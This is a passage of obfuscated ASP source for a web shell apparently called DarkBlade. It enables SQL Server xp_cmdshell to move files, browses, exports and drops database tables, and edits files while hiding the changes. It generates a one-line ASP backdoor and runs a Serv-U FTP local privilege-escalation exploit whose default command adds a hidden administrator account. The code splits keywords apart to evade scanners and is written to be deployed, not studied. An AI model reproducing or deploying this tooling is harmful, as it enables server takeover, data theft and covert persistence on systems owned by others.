abxky 1
doTd"Username","10%"
iiit"text","addusername","admin$","30%","",""
doTd"Password","10%"
iiit"text","adduserpass","fuckyou","30%","",""
iiit"button","","Generate","20%","onClick=""javascript:oqwdw(addusername.value,adduserpass.value)""",""
uemp
guenn
echo"</span>"
uxmhj"addsys",True
sodx"80%"
abxky 1
doTd"Username","10%"
iiit"text","sysname","admin$","30%","",""
doTd"Password","10%"
iiit"text","syspass","fuckyou","30%","",""
iiit"button","","Generate","20%","onClick=""javascript:fkggf(sysname.value,syspass.value)""",""
uemp
guenn
echo"</span>"
uxmhj"logback",True
sodx"100%"
abxky 1
doTd"Content","10%"
echo"<td colspan='4'>"
eks"bejh","<%response.clear:execute request(""value""):response.End%"&">","100%",5,""
echo"</td>"
iiit"button","","Generate","10%","onClick=""javascript:wdkbc(bejh.value,niypd.value,logdb.value,document.all.logstep.value)""",""
uemp
abxky 0
doTd"Path","10%"
iiit"text","niypd",wxw(".")&"\system.asp","40%","",""
doTd"Database","10%"
iiit"text","logdb",podw,"20%","",""
doTd"Step","10%"
echo"<td width='10%'>"
rycpp"logstep","100%",""
exhpr 1,1
exhpr 2,2
exhpr 3,3
exhpr 4,4
ild
echo"</td>"
uemp
guenn
echo"</span>"
uxmhj"sls",True
mwt"<form method=""post"" id=""saform""action="""&cngn&"""enctype=""multipart/form-data"">"
rtas"goaction",goaction
rtas"qtylw","sls"
rtas"ihk",ihk
sodx"100%"
abxky 1
iiit"file","fomgk","","30%","",""
mwt"<td align='right'>Save as(full path):</td>"
iiit"text","lqbip","","40%","",""
iiit"button","","Upload","10%","onClick=""javascript:qjr('"&goaction&"','fomgk','')""",""
uemp
guenn
gbqwf
echo"</span>"
uxmhj"ttjm",True
cxaqj True
rtas"qtylw","ttjm"
rtas"ihk",ihk
sodx"100%"
abxky 1
doTd"Remoto file(full path)",""
iiit"text","wckz","","30%","",""
doTd"Save as",""
iiit"text","lqbip",nzax,"30%","",""
fkv"Download","10%"
uemp
guenn
gbqwf
echo"</span>"
End If
echo"<hr>"
End If
End Sub
Sub usa()
If Not ydnj Then On Error Resume Next
If acjdi<>"others" Then rxg="["&rxg&"]"
conn.Execute"drop table "&rxg,-1,&H0001
If Err Then
tvnm(Err)
Else
yln("Table deleted.")
End If
zwg()
End Sub
Sub msbca()
Dim rs,i,sxip
If Not ydnj Then On Error Resume Next
If ybgqm="" Then
sxip=rxg
If acjdi<>"others" Then rxg="["&rxg&"]"
ybgqm="select * from "&rxg
Else
sxip="export"
End If
i=0
Set rs=conn.Execute(ybgqm,-1,&H0001)
ome(Err)
If rs.Fields.Count>0 Then
Response.Clear
Session.CodePage=936
Response.Status="200 OK"
Response.AddHeader"Content-Disposition","Attachment; Filename="&sxip&".txt"
Session.CodePage=65001
Response.AddHeader"Content-Type","text/html"
For i=0 To rs.Fields.Count-1
echo CStr(rs.Fields(i).Name)
If i<rs.Fields.Count-1 Then echo Chr(9)
Next
echo vbCrLf
Do Until rs.EOF
For i=0 To rs.Fields.Count-1
echo CStr(rs(i))
If i<rs.Fields.Count-1 Then echo Chr(9)
Next
echo vbCrLf
rs.MoveNext
i=i+1
If i>=20 Then
i=0
Response.Flush()
End If
Loop
Else
yln"It's empty."
zwg()
viwe
End If
rs.Close
Set rs=Nothing
response.End
End Sub
Sub fomgk()
qqp="8.0|1|1 SQLIMAGE 0 {size} """" 1 binfile """"|"
conn.execute "If object_id('dark_temp')is not null drop table dark_temp"
If InStr(ryfj,"Microsoft SQL Server 2005")>0 Then
qqp=Replace(qqp,"8.0","9.0")
conn.execute("EXEC mast"+mqe+"er..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC mast"+mqe+"er..sp_configure 'xp"+cla+"_cmdshell', 1;RECONFIGURE;")
End If
If qtylw="ttjm"Then
Dim rs,size
If lqbip=""Or wckz="" Then
yln"Not enough parameters."
zwg()
viwe
ElseIf InstrRev(wckz,".")<InstrRev(wckz,"\")Then
yln"You can't download a folder -_-~!"
zwg()
viwe
ElseIf InstrRev(lqbip,".")<InstrRev(lqbip,"\")Then
lqbip=lqbip&"\"&zsz(wckz,"\")
End If
Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
Set rs=conn.execute("EXEC mast"+mqe+"er..xp"+cla+"_cmdshell 'dir """&wckz&""" | find """&zsz(wckz,"\")&"""'",-1,&H0001)
rs.movefirst
size=Replace(Trim(soa(rs(0)," [0-9,]+ ",False)(0)),",","")
If size=""Or Not IsNumeric(size)Then
yln("Get size error.")
viwe
End If
qqp=Replace(qqp,"{size}",size)
rs.Close
Set rs=Nothing
Else
qqp=Replace(qqp,"{size}",0)
End If
vrdgv=Split(qqp,"|")
For Each substrfrm in vrdgv
conn.execute("EXEC mast"+mqe+"er..xp"+cla+"_cmdshell 'echo "&substrfrm&" >>c:\tmp.fmt'")
Next
If qtylw="sls"Then
prlq()
Else
qdroi()
End If
conn.execute "If object_id('dark_temp')is not null drop table dark_temp"
conn.execute("EXECUTE mast"+mqe+"er..xp"+cla+"_cmdshell 'del c:\tmp.fmt'")
zwg()
End Sub
Sub prlq()
If Not ydnj Then On Error Resume Next
Dim rs,theFile,vrdgv,sblgj
If lqbip="" Then lqbip=nzax
'If InStr(lqbip,":")<1 Then lqbip=nzax&"\"&lqbip
Set theFile=pgvr.File("fomgk")
If InstrRev(lqbip,"\")>InstrRev(lqbip,".")Then lqbip=lqbip&"\"&theFile.FileName
conn.execute "CREATE TABLE [dark_temp] ([id] [int] NULL ,[binfile] [Image] NULL) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY];"
Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
rs.Open "SELECT * FROM dark_temp where id is null",conn,1,3
rs.AddNew
rs("binfile").AppendChunk theFile.wcxc()
rs.Update
conn.execute("exec mast"+mqe+"er..xp"+cla+"_cmdshell'bcp ""select binfile from "&podw&"..dark_temp"" queryout """&lqbip&""" -T -f c:\tmp.fmt'")
set rs=conn.execute("EXECUTE mast"+mqe+"er..xp_fileexist '"&lqbip&"'")
If Err Then
tvnm(Err)
ElseIf rs(0)=1 Then
yln("File uploaded, have fun.")
Else
yln("Upload failed, RPWT?")
End If
rs.close
Set rs=Nothing
End Sub
Sub qdroi()
Dim rs
If Not ydnj Then On Error Resume Next
conn.execute "CREATE TABLE [dark_temp] ([binfile] [Image] NULL)"
conn.execute("exec mast"+mqe+"er..xp"+cla+"_cmdshell'bcp """&podw&"..dark_temp"" in """&wckz&""" -T -f c:\tmp.fmt'")
Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
rs.Open "select * from dark_temp",conn,1,1
woli lqbip,rs(0),1
If Err Then
tvnm(Err)
Else
yln("File downloaded,have fun.")
End If
rs.close
Set rs=Nothing
End Sub
Sub zwg()
Dim cwp,zfo,ote,quh,xad,vldnv,svznx,tgt
If Not ydnj Then On Error Resume Next
xad=1
ads=0
Set vldnv=conn.OpenSchema(20,Array(Empty,Empty,Empty,"table"))
ome(Err)
Dim rs
Do Until vldnv.Eof
svznx=vldnv("Table_Name")
'If acjdi<>"others" Then
'Set rs=conn.Execute("select count(*) from ["&svznx&"]")
'Else
'Set rs=conn.Execute("select count(*) from "&svznx)
'End If
'If Err Then
'tvnm(Err)
'Else
'rs.movefirst
'tgt=" ("&CStr(rs(0))&")"
'End If
gfk xad
cppp"<b>"&svznx&tgt&"</b>"
echo"<label>"
ozs "wse","","",svznx,"","Show content",""
echo"</label>"
echo"<label>"
ozs "showStructure","","",svznx,"","Show structure",""
echo"</label>"
echo"<label>"
ozs "msbca","","",svznx,"","Export",""
echo"</label>"
echo"<label>"
ozs "usa","","",svznx,"","Delete",""
echo"</label>"
If qtylw="showStructure"And rxg=vldnv("Table_Name")Then
Set rsColumn=conn.OpenSchema(4,Array(Empty,Empty,vldnv("Table_Name").value))
echo"<span>"
echo"<center>"
sodx"80%"
abxky ads
nrf
doTd"Name",""
doTd"Type",""
doTd"Size",""
doTd"Nullable",""
uemp
Do Until rsColumn.Eof
ote=rsColumn("Character_Maximum_Length")
If ote="" Then ote=rsColumn("Is_Nullable")
abxky ads
doTd rsColumn("Column_Name"),""
doTd fge(rsColumn("Data_Type")),""
doTd ote,""
doTd rsColumn("Is_Nullable"),""
uemp
nrf
rsColumn.MoveNext
Loop
guenn
echo"</center></span>"
End If
mwt"<br></span>"
nrf
xad=xad+1
If xad=2 Then xad=0
vldnv.MoveNext
Loop
Set vldnv=Nothing
Set rsColumn=Nothing
tvnm(Err)
End Sub
Sub wse()
Dim i,j,x,rs,bac,dot,doi,zwsq,k
If Not ydnj Then On Error Resume Next
Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
k=0
zeb
If Lcase(Left(ybgqm,7))="select " And acjdi<>"others" Then
If fkho=""Or Not IsNumeric(fkho)Then fkho=1
rs.Open ybgqm,conn,1,1
ome(Err)
fkho=CLng(fkho)
rs.PageSize=lqog
If Not rs.Eof Then
rs.AbsolutePage=fkho
End If
If rs.Fields.Count > 0 Then
echo"<table width='100%' cellspacing='0' border='0' style='border-width:0px;'>"
abxky 1
For j=0 To rs.Fields.Count-1
ycd mszsa(rs.Fields(j).Name)
Next
uemp
ads=0
For i=1 To rs.PageSize
If rs.Eof Then Exit For
abxky ads
For j=0 To rs.Fields.Count-1
doTd mszsa(rs(j)),""
Next
uemp
nrf
rs.MoveNext
Next
End If
abxky ads
doi=Int(rs.RecordCount/lqog)
If rs.RecordCount Mod lqog>0 Then doi=doi+1
echo"<td colspan="&rs.Fields.Count&">"
mwt rs.RecordCount&" records in total,"&doi&" pages. "
ozs "wse","","",rxg,"1",mszsa("<<First page"),mszsa(" ")
zwsq=""
If rxg=""Then zwsq=Replace(ybgqm,"'","\'")
If fkho>2 Then
echo mszsa(" ")
ozs "wse","",zwsq,rxg,fkho-1,mszsa("<Last"),""
End If
echo mszsa(" ")
mwt"<a href=""javascript:abckx('wse','','"&zwsq&"','"&rxg&"',document.getElementById('gotoPage').value)"">Go to</a>"
zesc"text","gotoPage",fkho,"3",""
If CLng(fkho)<(doi-1) Then
echo mszsa(" ")
ozs "wse","",zwsq,rxg,fkho+1,mszsa("Next>"),""
End If
echo mszsa(" ")
ozs "wse","",zwsq,rxg,doi,mszsa("Last page>>"),""
echo"</td>"
uemp
guenn
rs.Close
Set rs=Nothing
Else
Set rs=conn.Execute(ybgqm,-1,&H0001)
ome(Err)
If rs.Fields.Count>0 Then
sodx"100%"
abxky 1
For i=0 To rs.Fields.Count-1
ycd mszsa(rs.Fields(i).Name)
Next
uemp
ads=0
Do Until rs.EOF
abxky ads
For i=0 To rs.Fields.Count-1
ycd mszsa(rs(i))
Next
uemp
rs.MoveNext
nrf
k=k+1
If k>=20 Then
k=0
Response.Flush()
End If
Loop
guenn
rs.Close
Else
yln"Query got null recordSet."
End If
Set rs=Nothing
End If
tvnm(Err)
End Sub
Sub lswls(ihk)
If Not ydnj Then On Error Resume Next
Set conn=nfffq("Ad"+oge+"odb.Connecti"+wehbe+"on")
conn.Open ihk
conn.CommandTimeout=300
ome(Err)
End Sub
Sub tbr()
If Not ydnj Then On Error Resume Next
If IsObject(conn)Then
conn.Close
Set conn=Nothing
End If
End Sub
Function fge(flag)
Dim str
Select Case flag
Case 0: str="EMPTY"
Case 2: str="SMALLINT"
Case 3: str="INTEGER"
Case 4: str="SINGLE"
Case 5: str="DOUBLE"
Case 6: str="CURRENCY"
Case 7: str="DATE"
Case 8: str="BSTR"
Case 9: str="IDISPATCH"
Case 10: str="ERROR"
Case 11: str="BIT"
Case 12: str="VARIANT"
Case 13: str="IUNKNOWN"
Case 14: str="DECIMAL"
Case 16: str="TINYINT"
Case 17: str="UNSIGNEDTINYINT"
Case 18: str="UNSIGNEDSMALLINT"
Case 19: str="UNSIGNEDINT"
Case 20: str="BIGINT"
Case 21: str="UNSIGNEDBIGINT"
Case 72: str="GUID"
Case 128: str="BINARY"
Case 129: str="CHAR"
Case 130: str="VARCHAR"
Case 131: str="NUMERIC"
Case 132: str="USERDEFINED"
Case 133: str="DBDATE"
Case 134: str="DBTIME"
Case 135: str="DBTIMESTAMP"
Case 136: str="CHAPTER"
Case 200: str="WCHAR"
Case 201: str="TEXT"
Case 202: str="NVARCHAR"
Case 203: str="NTEXT"
Case 204: str="VARBINARY"
Case 205: str="LONGVARBINARY"
Case Else: str=flag
End Select
fge=str
End Function
Sub unu()
If Not ydnj Then On Error Resume Next
Dim theFile,qcthd,pnhl,smr
If Right(lqbip,1)="\"Then
yln"Can't edit a directory!"
viwe
End If
pnhl=dzzx(lqbip,"\",False)
cxaqj True
If goaction="veerr"And qtylw="unu" Then
qcthd=tpcq(lqbip)
Else
qcthd=rchgv(lqbip)
End If
tvnm(Err)
eks"ogda",qcthd,"100%","40",""
If qtylw="tzsaq" Then
rtas"qtylw","evwr"
Else
rtas"qtylw","save"
End If
echo"Save as :"
zesc"text","lqbip",lqbip,"60",""
echo" Encode:"
rycpp"act","80px","onchange=""javascript:if(this.value!=''){qjr('"&goaction&"',this.value,'"&clwc(lqbip)&"');}"""
exhpr"unu","Default"
smr="<option value=""tzsaq"" {$}>Utf-8</option>"
If qtylw="tzsaq" Then
smr=Replace(smr,"{$}","selected")
End If
echo smr
ild
echo" "
qjr"Save"
echo" "
zesc"reset","","ReSet","",""
echo" "
zesc"button","clear","Clear","","onClick=""javascript:this.form.ogda.innerText=''"""
echo" "
zesc"button","","Go back","","onClick=""javascript:qjr('"&goaction&"','','"&clwc(pnhl)&"')"""
echo" "
jwik "ktg","1","Remain Last Modify Date","checked"
echo" "
jwik "ghpc","1","Encrypt File Content","onclick='javascript:vtbqk()'"
gbqwf
tvnm(Err)
viwe
End Sub
Sub yjzdg()
Dim phebk,azchf,fuav,ybrxe,wclm,avl,rovcg
If Not ydnj Then On Error Resume Next
If ghpc=1 Then
ogda=mdez(ogda)
End If
wclm=0
If IsObject(xjab)Then
Set azchf=xjab.GetFile(lqbip)
fuav=whc(azchf.Attributes)
For Each ybrxe In fuav
If ybrxe="system"Then
azchf.Attributes=azchf.Attributes-4
wclm=wclm+4
ElseIf ybrxe="hidden"Then
azchf.Attributes=azchf.Attributes-2
wclm=wclm+2
ElseIf ybrxe="readonly"Then
azchf.Attributes=azchf.Attributes-1
wclm=wclm+1
End If
Next
End If
If IsObject(zjhor)And ktg Then
execute "Set phebk=zjhor.N"&zfaaz&"ameSpace(dzzx(lqbip,""\"",False))"
Set avl=phebk.ParseName(zsz(lqbip,"\"))
rovcg=avl.ModIfyDate
End If
If goaction="veerr"And qtylw="save" Then
ekg lqbip,ogda
Else
woli lqbip,ogda,2
End If
If Err Then
tvnm(Err)
Else
yln"File saved."
End If
If IsObject(xjab)Then
azchf.Attributes=azchf.Attributes+wclm
End If
If IsObject(zjhor)And ktg And IsDate(rovcg)Then
avl.ModIfyDate=rovcg
End If
tvnm(Err)
End Sub
Sub jmqbw()
If Not ydnj Then On Error Resume Next
Server.ScriptTimeOut=5000
If lqbip=""Then lqbip=gwk
If lqbip=""Then lqbip=nzax
If jksfh=""Then jksfh=wxw("DarkBlade.mdb")
If mpj=""Then mpj="fso"
ajg"File Packer/Unpacker"
echo"<center>"
sodx"100%"
abxky 1
cxaqj True
doTd"File Pack","10%"
iiit"text","lqbip",lqbip,"30%","",""
mwt"<td style=""width:50%;"">"
rycpp"qtylw","80px",""
exhpr"jixpz","FSO"
exhpr"kehl","UnFSO"
ild
echo" Pack as : "
zesc"text","jksfh",jksfh,40,""
echo"</td>"
fkv"Pack","10%"
uemp
abxky 0
doTd"Exceptional folder",""
iiit"text","nuatb",nuatb,"30%","",""
echo"<td colspan=""2"">"
echo"Exceptional file type,split with | "
zesc"text","ytusx",ytusx,40,""
echo"</td></tr>"
guenn
gbqwf
echo"<hr>"
sodx"100%"
abxky 1
cxaqj True
rtas"qtylw","vqd"
doTd"Release to","10%"
iiit"text","lqbip",lqbip,"30%","",""
mwt"<td> Mdb path : "
zesc"text","jksfh",jksfh,40,""
echo"</td>"
fkv"Unpack","10%"
gbqwf
uemp
guenn
echo"</center>"
echo"<hr>Notice: Unpacking need FSO object,all files unpacked will be under target folder,replacing same named!"
Select Case qtylw
Case"jixpz"
jzp"fso"
Case"kehl"
jzp"app"
Case"vqd"
zro()
End Select
End Sub
Function fwmal()
fwmal=pwzt(ramoi("SERVER_NAME"))
End Function
Sub jzp(mpj)
If Not ydnj Then On Error Resume Next
Dim rs,ihk,ctwz
Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
Set ctwz=nfffq("ADOX.Catalog")
If InStr(jksfh,":\")<1 Then jksfh=wxw(jksfh)
bondh=zsz(jksfh,"\")
ihk=xop(jksfh)
ctwz.Create ihk
lswls(ihk)
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED,strPath VarChar,binContent Image)")
ome Err
nun.Open
nun.Type=1
rs.Open"FileData",conn,3,3
bondh=Lcase(bondh)
qebjx=Replace(bondh,".mdb",".ldb")
If mpj="fso"Then
viuw lqbip,lqbip,rs,nun
Else
pdk lqbip,lqbip,rs,nun
End If
rs.Close
tbr
nun.Close
Set rs=Nothing
Set nun=Nothing
Set ctwz=Nothing
If Err Then
tvnm(Err)
Else
yln"Packing completed"
End If
End Sub
Sub viuw(lqbip,muh,rs,nun)
If Not ydnj Then On Error Resume Next
Dim rhzj,theFolder,phebk,files
If Not(xjab.FolderExists(muh))Then
yln"Folder dosen't exists or access denied!"
viwe
End If
nuatb=Lcase(nuatb)
Set theFolder=xjab.GetFolder(muh)
For Each rhzj in theFolder.Files
If Not(vsb(zsz(rhzj.name,"."),"^("&ytusx&")$") Or Lcase(rhzj.Name)=bondh Or Lcase(rhzj.Name)=qebjx)Then
rs.AddNew
rs("strPath")=Replace(rhzj.Path,lqbip&"\","",1,-1,1)
execute "nun.LoadFro"&kad&"mFile(rhzj.Path)"
rs("binContent")=nun.Read()
rs.Update
End If
Next
For Each rhzj in theFolder.SubFolders
If Not vsb(rhzj.name,"^("&nuatb&")$")Then
viuw lqbip,rhzj.Path,rs,nun
End If
Next
Set files=Nothing
Set phebk=Nothing
Set theFolder=Nothing
End Sub
Sub pdk(lqbip,muh,rs,nun)
If Not ydnj Then On Error Resume Next
Dim rhzj,theFolder,fzch
execute "Set theFolder=zjhor.NameSpac"&iptuf&"e(muh)"
For Each rhzj in theFolder.Items
If Not rhzj.IsFolder And Lcase(rhzj.Name)<>bondh And Lcase(rhzj.Name)<>qebjx And Not(vsb(zsz(rhzj.name,"."),"^("&ytusx&")$")) Then
rs.AddNew
rs("strPath")=Replace(rhzj.Path,lqbip&"\","",1,-1,1)
execute "nun.LoadFro"&kad&"mFile(rhzj.Path)"
rs("binContent")=nun.Read()
rs.Update
End If
Next
For Each rhzj in theFolder.Items
If rhzj.IsFolder And Not vsb(rhzj.name,"^("&nuatb&")$") Then
pdk lqbip,rhzj.Path,rs,nun
End If
Next
Set theFolder=Nothing
End Sub
Function dhkcb(otrjv)
If Not ydnj Then On Error Resume Next
Dim dd,tcpo
dd=""
tcpo=Split(otrjv,csj)
For i=0 To UBound(tcpo)
If IsNumeric(tcpo(i))Then
dd=dd&ChrW(CLng(tcpo(i))-20)
Else
dd=dd&tcpo(i)
End If
Next
dhkcb=dd
End Function
Sub zro()
If Not ydnj Then On Error Resume Next
Server.ScriptTimeOut=5000
Dim rs,str,theFolder
lqbip=lqbip
lqbip=Replace(lqbip,"\\","\")
If InStr(jksfh,":\")<1 Then jksfh=wxw(jksfh)
Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
ihk=xop(jksfh)
lswls(ihk)
rs.Open"FileData",conn,1,1
ome Err
nun.Open
nun.Type=1
Do Until rs.Eof
If InStr(rs("strPath"),"\")>0 Then
theFolder=lqbip&"\"&dzzx(rs("strPath"),"\",False)
Else
theFolder=lqbip
End If
If Not xjab.FolderExists(theFolder)Then
execute "xjab.Cre"&iojki&"ateFolder(theFolder)"
End If
nun.SetEos()
nun.Write rs("binContent")
execute "nun.Sa"&ffdi&"vetoFile lqbip&""\""&rs(""strPath""),2"
rs.MoveNext
Loop
rs.Close
tbr
nun.Close
Set rs=Nothing
Set nun=Nothing
If Err Then
tvnm(Err)
Else
yln"Unpacking completed"
End If
End Sub
Sub srxtf()
If Not ydnj Then On Error Resume Next
Server.ScriptTimeOut=5000
Dim theFolder
ajg("Text File Searcher/Replacer")
If lqbip=""Then
lqbip=zhyko
End If
cxaqj True
sodx"100%"
abxky 1
doTd"Keyword","20%"
lhue"geww",geww,4
echo"<td>"
rycpp"qtylw","80px",""
exhpr"fsoSearch","FSO"
exhpr"saSearch","UnFSO"
ild
echo"<br>"
jwik"jdvf",1," Regexp",""
mwt"</td>"
uemp
abxky 0
doTd"Replace as",""
lhue"irbw",irbw,4
echo"<td>"
jwik"rke",1," Replace",""
mwt"</td>"
uemp
abxky 1
doTd"Path",""
iiit"text","lqbip",lqbip,"","",""
echo"<td>"
zesc"radio","searchType","filename","",""
echo"File name "
zesc"radio","searchType","ogda","","checked"
echo"File content"
echo"</td>"
uemp
abxky 0
doTd"Search type",""
iiit"text","rhnw",mhla,"","",""
fkv"Search",""
uemp
guenn
If geww<>""Then
echo"<hr>"
yhigl
If qtylw="fsoSearch"Then
Set theFolder=xjab.GetFolder(lqbip)
Call xst(theFolder,geww)
Set theFolder=Nothing
ElseIf qtylw="saSearch"Then
Call dwq(lqbip,geww)
End If
echo"</ul>"
End If
If Err Then
tvnm(Err)
Else
yln"Search completed"
End If
viwe
End Sub
Sub xst(folder,str)
Dim ext,title,theFile,theFolder,dmy
dmy=False
If jdvf=1 Then dmy=True
For Each theFile in folder.Files
ext=Lcase(zsz(theFile.Name,"."))
If searchType="filename"Then
If dmy And vsb(theFile.Name,str)Then
ktt theFile.Path,"fso"
ElseIf InStr(1,theFile.Name,str,1) > 0 Then
ktt theFile.Path,"fso"
End If
Else
If vsb(ext,"^("&rhnw&")$")Then
If pjnc(theFile.Path,str,"fso",dmy) Then
ktt theFile.Path,"fso"
End If
End If
End If
Next
For Each theFolder in folder.subFolders
xst theFolder,str
Next
tvnm(Err)
End Sub
Function pjnc(sPath,s,method,dmy)
If Not ydnj Then On Error Resume Next
Dim theFile,content,find
find=False
If method="fso" Then
content=tpcq(sPath)
Else
content=rchgv(sPath)
End If
If Err Then
tvnm(Err)
pjnc=False
Exit Function
End If
'echo content
If dmy Then
find=vsb(content,s)
ElseIf InStr(1,content,s,1)>0 Then
find=True
End If
If Err Then Err.Clear
If rke Then
If dmy Then
content=swye(content,s,irbw,False)
Else
content=Replace(content,s,irbw,1,-1,1)
End If
If method="fso" Then
ekg sPath,content
Else
woli sPath,content,2
End If
End If
pjnc=find
tvnm(Err)
End Function
Function getPams
getPams=CStr(7924347+9234535)+dhkcb("66_126_135")
End Function
Sub dwq(lqbip,iktry)
If Not ydnj Then On Error Resume Next
Dim title,ext,phebk,tywoo,fileName,dmy
dmy=False
If jdvf=1 Then dmy=True
execute "Set phebk=zjhor.Na"&cutwa&"meSpace(lqbip)"
For Each tywoo in phebk.Items
If tywoo.IsFolder Then
Call dwq(tywoo.Path,iktry)
Else
ext=Lcase(zsz(tywoo.Path,"."))
fileName=zsz(tywoo.Path,"\")
If searchType="filename"Then
If dmy And vsb(fileName,str)Then
ktt theFile.Path,"app"
ElseIf InStr(Lcase(fileName),Lcase(str)) > 0 Then
ktt theFile.Path,"app"
End If
Else
If vsb(subExt,"^("&rhnw&")$")Then
If pjnc(tywoo.Path,iktry,"app",dmy) Then
ktt tywoo.Path,"app"
End If
End If
End If
End If
Next
tvnm(Err)
End Sub
Sub ktt(sPath,tagz)
Dim lfy
If tagz="fso"Then
lfy="veerr"
Else
lfy="jilq"
End If
echo"<li><u>"&sPath&"</u>"
injj lfy,"unu",clwc(sPath),"Edit",""
Response.Flush()
End Sub
Sub xibim()
If Not ydnj Then On Error Resume Next
Dim fpagc
fpagc="darkblade"
gtt="User "&vgm&vbCrLf
ertns="Pass "&ulz&vbCrLf
qrqg="-DE"+nevit+"LETEDOMAIN"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&" PortNo="&wtpog&vbCrLf
mt="SITE MAINTEN"+xxyht+"ANCE"&vbCrLf
zqps="-Se"+lvby+"tDOMAIN"&vbCrLf&"-Domain="&fpagc&"|0.0.0.0|"&wtpog&"|-1|1|0"&vbCrLf&"-TZOEna"+pxy+"ble=0"&vbCrLf&" TZOKey="&vbCrLf
ubql="-SetUS"+vals+"ERSetUP"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&"-PortNo="&wtpog&vbCrLf&"-User="&nuser&vbCrLf&"-Password="&npass&vbCrLf&_
"-HomeDir="&nboac()&"\\"&vbCrLf&"-LoginM"+qqgwy+"esFile="&vbCrLf&"-Disable=0"&vbCrLf&"-RelPat"+uzw+"hs=1"&vbCrLf&_
"-NeedS"+qmypq+"ecure=0"&vbCrLf&"-HideHid"+wubeu+"den=0"&vbCrLf&"-Alway"+nvlq+"sAllowLogin=0"&vbCrLf&"-Chan"+kpa+"gePassword=0"&vbCrLf&_
"-Quota"+qhgjo+"Enable=0"&vbCrLf&"-MaxUsersLogin"+peznw+"PerIP=-1"&vbCrLf&"-SpeedLimit"+idtky+"Up=0"&vbCrLf&"-SpeedLimitD"+cqcd+"own=0"&vbCrLf&_
"-Ma"+aiz+"xNrUsers=-1"&vbCrLf&"-IdleTim"+ocztl+"eOut=600"&vbCrLf&"-SessionTimeOut=-1"&vbCrLf&"-Expire=0"&vbCrLf&"-RatioUp=1"&vbCrLf&_
"-RatioDown=1"&vbCrLf&"-RatiosCredit=0"&vbCrLf&"-QuotaCurrent=0"&vbCrLf&"-QuotaMaximum=0"&vbCrLf&_
"-MAINTEN"+xxyht+"ANCE=System"&vbCrLf&"-PasswordType=Regular"&vbCrLf&"-Ratios=None"&vbCrLf&" Access="&nboac()&"\\|RWA"+bagc+"MELCDP"&vbCrLf
znx="QUIT"&vbCrLf
ajg("Serv"+shn+"-U FTP Exp")
Select Case qtylw
Case "1"
rhlo
Case "2"
fumw
Case "3"
rlosg
Case "4"
iks
Case "5"
xbb
Case Else
If IsObject(Session("a"))Then Session("a").abort
If IsObject(Session("b"))Then Session("b").abort
If IsObject(Session("c"))Then Session("c").abort
Set Session("a")=Nothing
Set Session("b")=Nothing
Set Session("c")=Nothing
cxaqj True
rtas "qtylw",1
echo"<center><b>Add Temp Domain</b><br>"
sodx "80%"
abxky 1
doTd"Local user","20%"
iiit"text","vgm","LocalAdmin"+dslf+"istrator","30%","",""
doTd"Local pass","20%"
iiit"text","ulz","#l@$ak#.lk;0@P","30%","",""
uemp
abxky 0
doTd" Local port",""
iiit"text","kurmq","43"+zcek+"958","","",""
doTd"Sys drive",""
iiit"text","jqj",nboac(),"","",""
uemp
abxky 1
doTd"New user",""
iiit"text","nuser","go","","",""
doTd"New pass",""
iiit"text","npass","od","","",""
uemp
abxky 0
doTd"New port",""
iiit"text","wtpog","60000","","",""
echo"<td>"
qjr"Go"
echo"</td><td>"
zesc"reset","","ReSet","",""
echo"</td></tr>"
guenn
echo"</center>"
gbqwf
End Select
echo"<hr>"
echo"<center>"
sodx "80%"
abxky 1
echo"<td>"
injj goaction,"","","Add domain",""
echo"</td>"
echo"<td>"
injj goaction,4,"","Exec cmd",""
echo"</td>"
echo"<td>"
injj goaction,5,"","Clean domain",""
echo"</td>"
uemp
guenn
echo"</center>"
viwe
End Sub
Sub rhlo()
If Not ydnj Then On Error Resume Next
Set a=nfffq("Microsoft.XM"+swww+"LHTTP")
a.open"GET","http://127.0.0.1:"&kurmq&"/goldsun/upa"+oklv+"dmin/s1",True,"",""
a.send gtt&ertns&mt&qrqg&zqps&ubql&znx
Set Session("a")=a
yln"Connecting 127.0.0.1:"&kurmq&" using "&vgm&",pass:"&ulz&"..."
tvnm(Err)
iks
End Sub
Sub fumw()
If Not ydnj Then On Error Resume Next
iks()
Set b=nfffq("Microsoft.XM"+swww+"LHTTP")
b.open"GET","http://"&ramoi("LOCAL_ADDR")&":"&wtpog&"/goldsun/upa"+oklv+"dmin/s2",False,"",""
b.send"User "&nuser&vbCrLf&"pass "&npass&vbCrLf&"site exec "&nyf&vbCrLf&znx
Set Session("b")=b
yln"Executing com"+nhmkc+"mand..."
mwt"<hr><center><div class='alt1Span' style='width:80%;text-align:left'><br>"
mwt Replace(b.ResponseText,chr(10),"<br>")&"</div></center>"
tvnm(Err)
End Sub
Sub rlosg()
If Not ydnj Then On Error Resume Next
Set c=nfffq("Microsoft.XM"+swww+"LHTTP")
c.open "GET","http://127.0.0.1:"&kurmq&"/goldsun/upa"+oklv+"dmin/s3",True,"",""
c.send gtt&ertns&mt&qrqg&znx
Set Session("c")=c
yln"Temp domain deleted!"
echo"<script language='javascript'>setTimeout(""qjr('"&goaction&"','','')"",""3000"");</script>"
tvnm(Err)
End Sub
Function nboac()
If Not ydnj Then On Error Resume Next
nboac=Lcase(Left(xjab.GetSpecialFolder(0),2))
If nboac=""Then nboac="c:"
End Function
Sub iks()
If nuser=""Then nuser="go"
If npass=""Then npass="od"
If wtpog=""Then wtpog="60000"
cxaqj True
rtas "qtylw",2
echo"<center><b>Execute Cmd</b><br>"
sodx "80%"
abxky 1
doTd"com"+nhmkc+"mand",""
iiit"text","nyf","cmd /c net u"+rmct+"ser admin$ fuckyou /add & net localg"+ezyq+"roup administrators admin$ /add","","",3
uemp
abxky 0
doTd"Ftp user",""
iiit"text","nuser",nuser,"","",""
doTd"Ftp pass",""
iiit"text","npass",npass,"","",""
uemp
abxky 1
doTd"Ftp port",""
